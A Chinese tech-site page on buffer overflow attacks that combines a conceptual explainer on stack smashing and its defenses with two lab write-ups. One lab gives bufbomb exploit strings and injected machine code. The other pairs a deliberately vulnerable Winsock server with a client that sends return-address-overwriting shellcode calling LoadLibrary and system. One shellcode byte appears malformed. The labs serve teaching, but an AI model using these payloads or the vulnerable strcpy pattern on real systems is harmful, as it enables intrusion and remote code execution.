精华内容
下载资源
问答
  • 缓冲区溢出攻击

    2018-06-13 01:08:50
    计算机系统实验,内附代码(工具),以及实验报告,报告中含通关详细分析
  • 通过视频讲解C语言程序的运行时结构以及缓冲区溢出攻击原理。
  • 就是计算机系统基础的那个缓冲区溢出实验的实验报告很详细。
  • 缓冲区溢出攻击的简单说明,用于破解一个用 C 编写的幼稚的错误登录程序,并使用 shell 代码生成一个交互式 shell。 攻击方法 下面一段汇编代码用作shellcode: Needle0: jmp here: pop %rdi xor %rax, %rax movb $...
  • 缓冲区溢出攻击是网络攻击事件中最常用的一种攻击方式,成为系统和网络安全中亟待解决的重要问题。在分析缓冲区溢出攻击原理的基础上,说明了攻击的成因,然后描述了目前常见的攻击类型,最后给出了现有的防范措施,...
  • BufferOverflow缓冲区溢出攻击原理实例源代码,Visual C++6.0环境下调试通过
  • 缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普通了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:殖入并且执行攻击...
  • 缓冲区溢出攻击实例

    2013-12-20 09:02:14
    缓冲区溢出攻击及防范实例,网络攻击与防御课程使用
  • 缓冲区溢出是很容易被攻击者利用的攻击,在被覆盖的指令地址位置上编写自己的攻击代码,被攻击方程序运行时,会跳转到攻击者编写的代码位置上,开始运行攻击方的代码,从而攻击者实现了攻击与破坏。
  • 缓冲区溢出攻击.pdf

    2020-04-15 20:09:21
    介绍linux系统下,gcc编译的c代码如何利用缓冲区溢出修改函数返回地址和参数,实现攻击,含函数栈帧的分析。
  • 对于操作系统内存中的缓存区溢出的基本原理进行阐述,内嵌有小例子
  • 缓冲区溢出攻击分析及防范策略研究_邓爽
  • MS08-067( Windows Server服务RPC请求缓冲区溢出漏洞)远程缓冲区溢出攻击测试
  • 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种...利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

    一、缓冲区溢出攻击的基本概念

    缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

    缓冲区溢出攻击有多种英文名称:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它们指的都是同一种攻击手段。第一个缓冲区溢出攻击--Morris蠕虫,发生在1988年,由罗伯特,莫里斯(R ob。rtMorris)制造,它曾造成全世界6000多台网络服务器瘫痪。

    计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。

    通过往程序的缓冲区写超出其长度的内容,比如定义一个字符串变量,只允许他存储最多15个字符串(IP地址的最大字符数),但用户输入的时候误操作输入了15个以上的字符,加上程序本身没有去校验用户输入的字符数量,而直接存储到这个变量的内存地址空间,就造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

     二、缓冲区溢出漏洞攻击方式

     缓冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权限。一般利用缓冲区溢出漏洞攻击root程序,大都通过执行类似“exec(sh)”的执行代码来获得root 的shell。黑客要达到目的通常要完成两个任务,就是在程序的地址空间里安排适当的代码和通过适当的初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。

    1)在程序的地址空间里安排适当的代码

    在程序的地址空间里安排适当的代码往往是相对简单的。如果要攻击的代码在所攻击程序中已经存在了,那么就简单地对代码传递一些参数,然后使程序跳转到目标中就可以完成了。攻击代码要求执行“exec(‘/bin/sh’)”,而在libc库中的代码执行“exec(arg)”,其中的“arg”是个指向字符串的指针参数,只要把传入的参数指针修改指向“/bin/sh”,然后再跳转到libc库中的响应指令序列就可以了。当然,很多时候这个可能性是很小的,那么就得用一种叫“植入法”的方式来完成了。

    当向要攻击的程序里输入一个字符串时,程序就会把这个字符串放到缓冲区里,这个字符串包含的数据是可以在这个所攻击的目标的硬件平台上运行的指令序列。缓冲区可以设在:堆栈(自动变量)、堆(动态分配的)和静态数据区(初始化或者未初始化的数据)等的任何地方。也可以不必为达到这个目的而溢出任何缓冲区,只要找到足够的空间来放置这些攻击代码就够了。

    2)控制程序转移到攻击代码的形式

    缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程,使它跳转到攻击代码,最为基本的就是溢出一个没有检查或者其他漏洞的缓冲区,这样做就会扰乱程序的正常执行次序。通过溢出某缓冲区,可以改写相近程序的空间而直接跳转过系统对身份的验证。原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。但因不同地方的定位相异,所以也就带出了多种转移方式。

    (1)Function Pointers(函数指针)

    在程序中,“void (* foo) ( )”声明了个返回值为“void” Function Pointers的变量“foo”。Function Pointers可以用来定位任意地址空间,攻击时只需要在任意空间里的Function Pointers邻近处找到一个能够溢出的缓冲区,然后用溢出来改变Function Pointers。当程序通过Function Pointers调用函数,程序的流程就会实现。

    (2)Activation Records(激活记录)

    当一个函数调用发生时,堆栈中会留驻一个Activation Records,它包含了函数结束时返回的地址。执行溢出这些自动变量,使这个返回的地址指向攻击代码,再通过改变程序的返回地址。当函数调用结束时,程序就会跳转到事先所设定的地址,而不是原来的地址。这样的溢出方式也是较常见的。

    (3)植入综合代码和流程控制

    常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和Activation Records。攻击时定位在一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出改变Activation Records的同时植入代码(权因C在习惯上只为用户和参数开辟很小的缓冲区)。植入代码和缓冲区溢出不一定要一次性完成,可以在一个缓冲区内放置代码(这个时候并不能溢出缓冲区),然后通过溢出另一个缓冲区来转移程序的指针。这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。如果想使用已经驻留的代码不需要再外部植入的时候,通常必须先把代码做为参数。在libc(熟悉C的朋友应该知道,现在几乎所有的C程序连接都是利用它来连接的)中的一部分代码段会执行“exec(something)”,当中的something就是参数,使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。

    程序编写的错误造成网络的不安全性也应当受到重视,因为它的不安全性已被缓冲区溢出表现得淋漓尽致了。

    三、缓冲区溢出攻击的防范策略

    缓冲区溢出攻击的防范是和整个系统的安全性分不开的。如果整个网络系统的安全设计很差,则遭受缓冲区溢出攻击的机会也大大增加。针对缓冲区溢出,可以采取多种防范策略。

    (1)系统管理上的防范策略

    一要关闭不需要的特权程序。

    二要及时给程序漏洞打补丁。

    (2)软件开发过程中的防范策略

    发生缓冲区溢出的主要及各要素是:数组没有边界检查而导致的缓冲区溢出;函数返回地址或函数指针被改变,使程序流程的改变成为可能;植入代码被成功的执行等等。所以针对这些要素,从技术上可以采取一定的措施。

     1)强制写正确的代码的方法。

    只要在所有拷贝数据的地方进行数据长度和有效性的检查,确保目标缓冲旦中数据不越界并有效,则就可以避免缓冲区溢出,更不可能使程序跳转到恶意代码上。

     2)通过操作系统使得缓冲区不可执行,从而阻止攻击者殖入攻击代码。

    通过使被攻击程序的数据段地址空间不可执行,从商使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为缓冲区不可执行技术。

    3)改进C语言函数库。

    C语言中存在缓冲区溢出攻击隐患的系统匾数有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等。可以开发出更安全的封装了若干己知易受堆栈溢出攻击的岸函数。

    4)使堆栈向高地址方向增长。

    使用的机器堆栈压入数据时向高地址方向前进,那么无论缓冲区如何溢出,都不可能覆盖低地址处的函数返回地址指针,也就避免了缓冲区溢出攻击。但是这种方法仍然无法防范利用堆和静态数据段的缓冲区进行溢出的攻击。

    5)在程序指针失效前进行完整性检查。

    原理是在每次在程序指针被引用之前先检测该指针是否己被恶意改动过,如果发现被改动,程序就拒绝执行。

    6)利用编译器将静态数据段中的函数地址指针存放地址和其他数据的存放地址分离。


    如果你想更好的提升你的编程能力,学好C语言C++编程!弯道超车,快人一步!
    C语言C++学习企鹅圈子】,分享(源码、项目实战视频、项目笔记,基础入门教程)
    欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

    编程学习书籍:

    编程学习视频:

    展开全文
  • 掌握缓冲区溢出攻击方法; 进一步熟练掌握GDB调试工具和objdump反汇编工具。 二、实验环境: 计算机(Intel CPU) Linux 64位操作系统 GDB调试工具 objdump反汇编工具 三、实验内容 本实验设计为一个黑客利用缓冲...

    github地址

    一、 实验目标:

    1. 理解程序函数调用中参数传递机制;
    2. 掌握缓冲区溢出攻击方法;
    3. 进一步熟练掌握GDB调试工具和objdump反汇编工具。

    二、实验环境:

    1. 计算机(Intel CPU)
    2. Linux 64位操作系统
    3. GDB调试工具
    4. objdump反汇编工具

    三、实验内容

    本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!
    要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。

    实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四 缓冲区溢出攻击实验.pptx”。

    本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。

    四、实验步骤和结果

    因为本次实验用到的可执行文件是32位,而实验环境是64位的,需要先安装一个32位的库,在root权限下安装如下所示:
    在这里插入图片描述
    还需要安装sendmail
    在这里插入图片描述
    首先利用反汇编命令查看getbuf函数的汇编代码,以便分析getbuf在调用时的栈帧结构,汇编代码如下:
    在这里插入图片描述

    步骤1 返回到smoke()

    1.1 解题思路

    本实验中,bufbomb中的test()函数将会调用getbuf()函数,getbuf()函数再调用gets()从标准输入设备读入字符串。

    系统函数gets()未进行缓冲区溢出保护。其代码如下:

    int getbuf()
    {
        char buf[12];
        Gets(buf);
        return 1;
    }
    

    我们的目标是使getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。

    为此,我们可以通过构造并输入大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()的栈帧,替换其返回地址,将返回地址改成smoke()函数的地址。

    1.2 解题过程

    对于第一关:
    在这里插入图片描述
    分析getbuf()函数的汇编代码,可以发现,getbuf()在保存%ebp的旧值后,将%ebp指向%esp所指的位置,然后将栈指针减去0x28来分配额外的20个字节的地址空间。字符数组buf的位置用%ebp下0x18(即24)个字节来计算。然后调用Gets()函数,读取的字符串返回到%ebp-0x18,即%ebp-24。

    具体的栈帧结构如下:
    在这里插入图片描述
    从以上分析可得,只要输入不超过11个字符,gets返回的字符串(包括末尾的null)就能够放进buf分配的空间里。长一些的字符串就会导致gets覆盖栈上存储的某些信息。

    随着字符串变长,下面的信息会被破坏:
    在这里插入图片描述
    因此,我们要替换返回地址,需要构造一个长度至少为32的字符串,其中的第0 ~ 11个字符放进buf分配的空间里,第12 ~ 23个字符放进程序分配后未使用的空间里,第24~27个字符覆盖保存的%ebp旧值,第28-31个字符覆盖返回地址。

    由于替换掉返回地址后,getbuf()函数将不会再返回到test()中,所以覆盖掉test()的%ebp旧值并不会有什么影响。也就是说我们构造的长度为32的字符串前28个字符随便是啥都行,而后面四个字符就必须能表示smoke()函数的地址。所以我们要构造的字符串就是“28个任意字符+smoke()地址”。任意的28个字符都用十六进制数00填充就行。

    利用objdump查看smoke()函数的地址如下:
    在这里插入图片描述
    由此可得smoke()函数的地址是0x08048eb0,考虑小端法表示,对应的我们要构造的字符串是:

    00000000000000000000000000000000000000000000000000000000b08e0408
    

    将输入的字符串保存到0.txt中。

    1.3 最终结果截图

    在这里插入图片描述
    在这里插入图片描述

    步骤2 返回到fizz()并准备相应参数

    2.1 解题思路

    这一关要求返回到fizz()并传入自己的cookie值作为参数,破解的思路和第一关是类似的,构造一个超过缓冲区长度的字符串将返回地址替换成fizz()的地址,只是增加了一个传入参数,所以在读入字符串时,要把fizz()函数读取参数的地址替换成自己的cookie值,具体细节见解题过程。

    2.2 解题过程

    首先还是利用objdunp查看并分析fizz()函数的汇编代码:
    在这里插入图片描述
    从汇编代码可知,fizz()函数被调用时首先保存%ebp旧值并分配新的空间,然后读取%ebp-0x8地址处的内容作为传入的参数,要求传入的参数是自己的cookie值。也就是说传入的参数其实是存在%ebp-0x8处的,具体的栈帧结构如下:
    在这里插入图片描述
    对应到getbuf()函数中的栈帧结构如下:
    在这里插入图片描述
    由以上结构不难判断出,我们需要读入buf的字符串为“28个任意字符+fizz()的地址+4个任意的字符+自己的cookie值”,每个字符还是用十六进制数表示。

    为此,首先利用objdump得到fizz()的地址为0x08048e60:
    在这里插入图片描述
    再利用makecookie生成自己的cookie值为0x7e9ebd07:
    在这里插入图片描述
    任意的字符依旧用00表示,则最后我们得到构造出来的字符串为:

    00000000000000000000000000000000000000000000000000000000608e04080000000007bd9e7e
    

    将该字符串保存在1.txt中:
    在这里插入图片描述
    然后通过sendstring将1.txt转换成二进制格式,再通过管道输入到bufbomb中:
    在这里插入图片描述

    2.3 最终结果截图

    从以上过程可得,最后成功利用缓冲区溢出漏洞,让getbuf()直接返回到fizz()函数并传入自己的cookie值作为参数,最终结果截图如下:
    在这里插入图片描述

    步骤3 返回到bang()且修改global_value

    3.1 解题思路

    这一关要求先修改全局变量global_value的值为自己的cookie值,再返回到band()。为此需要先编写一段代码,在代码中把global_value的值改为自己的cookie后返回到band()函数。将这段代码通过GCC产生目标文件后读入到buf数组中,并使getbuf函数的返回到buf数组的地址,这样程序就会执行我们写的代码,修改global_value的值并调用band()函数。具体细节见解题过程。

    3.2 解题过程

    首先,为了能精确地指定跳转地址,先在root权限下关闭Linux的内存地址随机化:
    在这里插入图片描述
    用objdump查看bang()函数的汇编代码如下:
    在这里插入图片描述

    很明显,bang()函数首先读取0x804a1c4和0x804a1d4的地址的内容并进行比较,要求两个地址中的内容相同:
    在这里插入图片描述
    用gdb调试命令查看:
    在这里插入图片描述
    gdb可以发现,0x804a1c4就是全局变量global_value的地址,0x804a1d4是cookie的地址。因此,我们只要在自己写的代码中,把地址0x804a1d4的内容存到地址0x804a1c4就行了。

    再利用objdump得到bang()函数的入口地址为0x08048e10:
    在这里插入图片描述
    到这里,就可以确定我们自己写的代码要干的事情了。首先是将global_value的值设置为cookie的值,也就是将0x804a1c4的值设置为0x804a1d4的值,然后将bang()函数的入口地址0x08048e10压入栈中,这样当函数返回的时候,就会直接取栈顶作为返回地址,从而调用bang()函数。接着函数返回,此时返回的地址就是上一条语句中压入栈中的地址,也就是bang()函数的入口地址了。

    为此,新建一个名为3.s的文件,里面写相应的汇编代码:
    在这里插入图片描述
    通过gcc编译该汇编代码,再反编译输出到code.txt中:
    在这里插入图片描述
    查看mycode.txt中生成的对应汇编代码的机器码如下:
    在这里插入图片描述
    在将这段机器码放入buf数组中后,为了能让getbuf()返回到buf数组处执行我们的代码,需要想办法得到buf数组的地址。为此,用gdb断点调试查看执行getbuf()时ebp的值为0xffffb148:
    在这里插入图片描述
    从第一关中对getbuf()函数栈帧结构的分析可知buf数组的首地址为%ebp-0x18,即0xffffbaf0

    综上所述,最后我们要构造的字符串为自己写的汇编代码生成的机器码(20个字符)+8个任意字符+buf数组的首地址,任意字符依然取00,则对应的字符串为:

    8b1425d4a10408891425c4a1040868108e0408c30000000000000000f0baffff
    

    将该字符串保存在2.txt中:
    在这里插入图片描述
    然后通过sendstring将2.txt转换成二进制格式,再通过管道输入到bufbomb中:
    在这里插入图片描述

    3.3 最终结果截图

    根据以上解题过程,利用缓冲区溢出,让程序执行自己写的汇编代码对全局变量进行修改后,成功调用了bang()函数。最后结果截图如下:
    在这里插入图片描述

    展开全文
  • 网络攻防实验之缓冲区溢出攻击

    千次阅读 2019-07-09 22:10:07
    通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出攻击的措施。 二、实验原理和实验环境 实验原理: 缓冲区溢出(Buffer Overflow...

    这个实验是网络攻防课程实验中的一个,但是目前我还没有完全搞懂代码,以后有机会来补。也欢迎大佬指点

    一、实验目的和要求

          通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出攻击的措施。

    二、实验原理和实验环境

    实验原理:

            缓冲区溢出(Buffer Overflow)是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,在没有任何系统帐户的条件下获得系统最高控制权,进而进行各种非法操作。

           缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。

    例如:

    #include <stdio.h>

    main()

    {

    char string[8];

    gets(string);

    printf("string is %s\n", string);

    }

           在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,保存了函数调用过程中的返回地址、栈顶和栈底信息,以及局部变量和函数的参数。上述main函数执行时,上述信息按照参数、ret(返回地址)和EBP(栈底)的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,这个内存空间被申请占用的过程是从内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,其填入的顺序是从低地址内存空间向高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP和ret地址,恢复到调用函数原有地址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量写越界,覆盖了高地址内存空间中ret、EBP的信息,造成缓冲区溢出。

            对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,然后根据string[8]字符数组的大小,堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。当执行gets()函数将局部变量例如AAAA写入string[]数组时,字符串AAAA会先填入内存的低地址空间,如下图所示,然后再是高地址空间。堆栈中内存的分配以4字节为单位,如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,原有ret和EBP的内存空间将会被字符串A覆盖。

           当main函数返回时,再从原ret处获取调用函数返回地址时,就会把AAAA对应的十六进制ASCII码0x41414141作为返回地址,使CPU试图执行0x41414141处的指令,由于0x41414141不是一个正常的内存空间地址,就会发生缓冲区溢出。发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是相同的,所以只要调试后找到这个堆栈地址,就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有管理员权限,则替换后的程序也拥有相同的管理员权限。

          引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)没有边界来检查数据和指针的引用。而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。标准C库中还存在许多非安全字符串的操作,包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。为了防止缓冲区溢出的发生,编程人员需要对这些存在缓冲区溢出问题的函数予以关注,增加边界限制,编写正确的代码,或者改用没有问题的函数,例如strncpy()、strncat()、snprintf()等。

    实验环境:

        Windows XP,VC 6.0

    三、实验内容及步骤 

    1、打开控制台。

          学生单击“试验环境试验”进入实验场景,单击L005001001xp01_1中的“打开控制台”按钮,进入目标主机。

    2、找到桌面上的Microsoft Visual C++ 6.0,双击打开。

    3新建一个C++ Source File,文件名为server,作为服务器。

    4、Dtools文件夹下打开server文件,将里面的代码复制到建立的C++文件中。并编译构建。

    #include <stdio.h>
    
    #include <stdlib.h>
    
    #include <WINSOCK2.H>
    
    #pragma comment (lib, "WS2_32")
    
    void showcontent(char *buff);
    
    int main(int argc, char **argv)
    
    {
    
           WSADATA wsaData;
    
           if( WSAStartup(0x101, &wsaData) != 0 )
    
           {
    
       printf("Failed Initialization.\n");
    
       return 0;
    
           }
    
          
    
           if(argc!=2)
    
           {
    
       printf("Usage: server.exe [port]\n");
    
       return 0;
    
           }
    
          
    
           int port = atoi(argv[1]);
    
           SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
           if (sListen == INVALID_SOCKET)
    
           {
    
       printf("Failed socket()\n");
    
       return 0;
    
           }
    
           sockaddr_in sin;
    
           sin.sin_family = AF_INET;
    
           sin.sin_port = htons(port);
    
           sin.sin_addr.S_un.S_addr = INADDR_ANY;
    
           if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
    
           {
    
       printf("Failed bind()\n");
    
       return 0;
    
           }
    
           if (::listen(sListen, 2) == SOCKET_ERROR)
    
           {
    
       printf("Failed listen()\n");
    
       return 0;
    
           }
    
           sockaddr_in remoteAddr;
    
           int nAddrLen = sizeof(remoteAddr);
    
           SOCKET sClient;
    
           char szText[] = "TCP Server is Connected!\n\n";
    
           char buff[1024] = {0};
    
           char toSend[1024] = {0};
    
           while (TRUE)
    
           {
    
       sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);
    
       if (sClient == INVALID_SOCKET)
    
       {
    
              printf("Failed accept()\n");
    
              continue;
    
       }
    
       printf("Somebody is connecting: %s\n", inet_ntoa(remoteAddr.sin_addr));
    
       ::send(sClient, szText, strlen(szText), 0);
    
       int nRecv = ::recv(sClient, buff, sizeof(buff), 0);
    
       if (nRecv > 0)
    
       {
    
              buff[nRecv] = '\0';
    
              ::closesocket(sClient);
    
              break;
    
       }
    
           }
    
           ::closesocket(sListen);
    
           showcontent(buff);
    
           return 0;
    
    }
    
    void showcontent(char *buff)
    
    {
    
           char content[8];
    
           strcpy(content, buff);
    
           printf("%s", content);
    
    }

    5、运行程序,可以看见有server.exe应用程序,[port]是口令。

    6、再新建一个C++ Source File,文件名为Client,作为客户端。

     

    7、在D盘tools文件夹下的client文件,复制其中的代码到c++文件中,编译构建。

    #include <stdio.h> 
    
    #include <stdlib.h>
    
    #include <WINSOCK2.H>
    
    #pragma comment (lib, "WS2_32")
    
    int main(int argc, char* *argv)
    
    {
    
           WSADATA wsaData;
    
           if( WSAStartup(0x101, &wsaData) != 0 )
    
           {
    
       printf("Failed Initialization.\n");
    
       return 0;
    
           }
    
                 if(argc!=3)
    
           {
    
       printf("Usage: client.exe [Server_IP] [port]\n");
    
       return 0;
    
           }
    
           int port = atoi(argv[2]);
    
           SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
          
    
           if(s == INVALID_SOCKET)
    
           {
    
       printf("Failed socket()\n");
    
       return 0;
    
           }
    
           sockaddr_in servAddr;
    
           servAddr.sin_family = AF_INET;
    
           servAddr.sin_port = htons(port);
    
           servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
    
           if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1)
    
           {
    
       printf("Failed connect()\n");
    
       return 0;
    
           }
    
           char buff[1024];
    
           int nRev = ::recv(s, buff, sizeof(buff), 0);
    
           if (nRev > 0)
    
           {
    
       buff[nRev] = '\0';
    
       printf("Received: %s", buff);
    
           }
    
           char toSend[] =
    
       "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
    
       "\x12\x45\xfa\x7f"
    
       "\x55\x8b\xec"
    
       "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45"
    
       "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6"
    
       "\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6"
    
       "\x45\xfd\x4c\xba"
    
       "\x80\x1d\x80\x7c"   //loadlibrarya
    
       "\x52\x8d\x45\xf4\x50\xf"
    
       "\xff\xd0";
    
          
    
     char toSend2[] =
    
             "\x41\x42\x43\x44"
    
       "\x45\x46\x47\x48"
    
       "\x12\x45\xfa\x7f"
    
       "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
    
       "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
    
       "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
    
       "\x9c\x3f\x88\x7c"   //loadlibrary地址0x7c883f9c
    
       "\x52\x8D\x45\xF4\x50"
    
       "\xFF\x55\xF0"
    
       "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
    
       //command.
    
       "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
    
       //      c   o   m
    
       "\x50\xB8"
    
       "\x7c\xbf\x93\x77"   //System地址0x77bf93c7
    
       "\xFF\xD0";
    
          
    
           send(s, toSend, strlen(toSend), 0);
    
           ::closesocket(s);
    
           return 0;
    
    }

    8、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。

    9、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。这里的IP地址是172.16.1.186

    10、打开桌面上的Debug文件夹,找到其中的client.exe和server.exe。

    11、复制server.exe和client.exe,将他们粘贴到“c:\windows\system32”目录下。

    12、打开命令提示符,找到“c:\windows\system32”目录,并运行命令“server.exe 8888”来开启server。

    开始文件夹是隐藏的,点击“显示此文件夹内容”

    13、另外打开一个命令提示符,同样找到“c:\windows\system32”目录,运行命令

    “client.exe 172.16.1.186 8888”来攻击server。

    14、点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”,

    表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。

    展开全文
  • 关于计算系统溢出攻击原理文档讲解。缓冲区溢出(Buffer Overflow)是计算机安全...随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。
  • 网络攻击与防御技术之缓冲区溢出攻击

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 23,765
精华内容 9,506
关键字:

缓冲区溢出攻击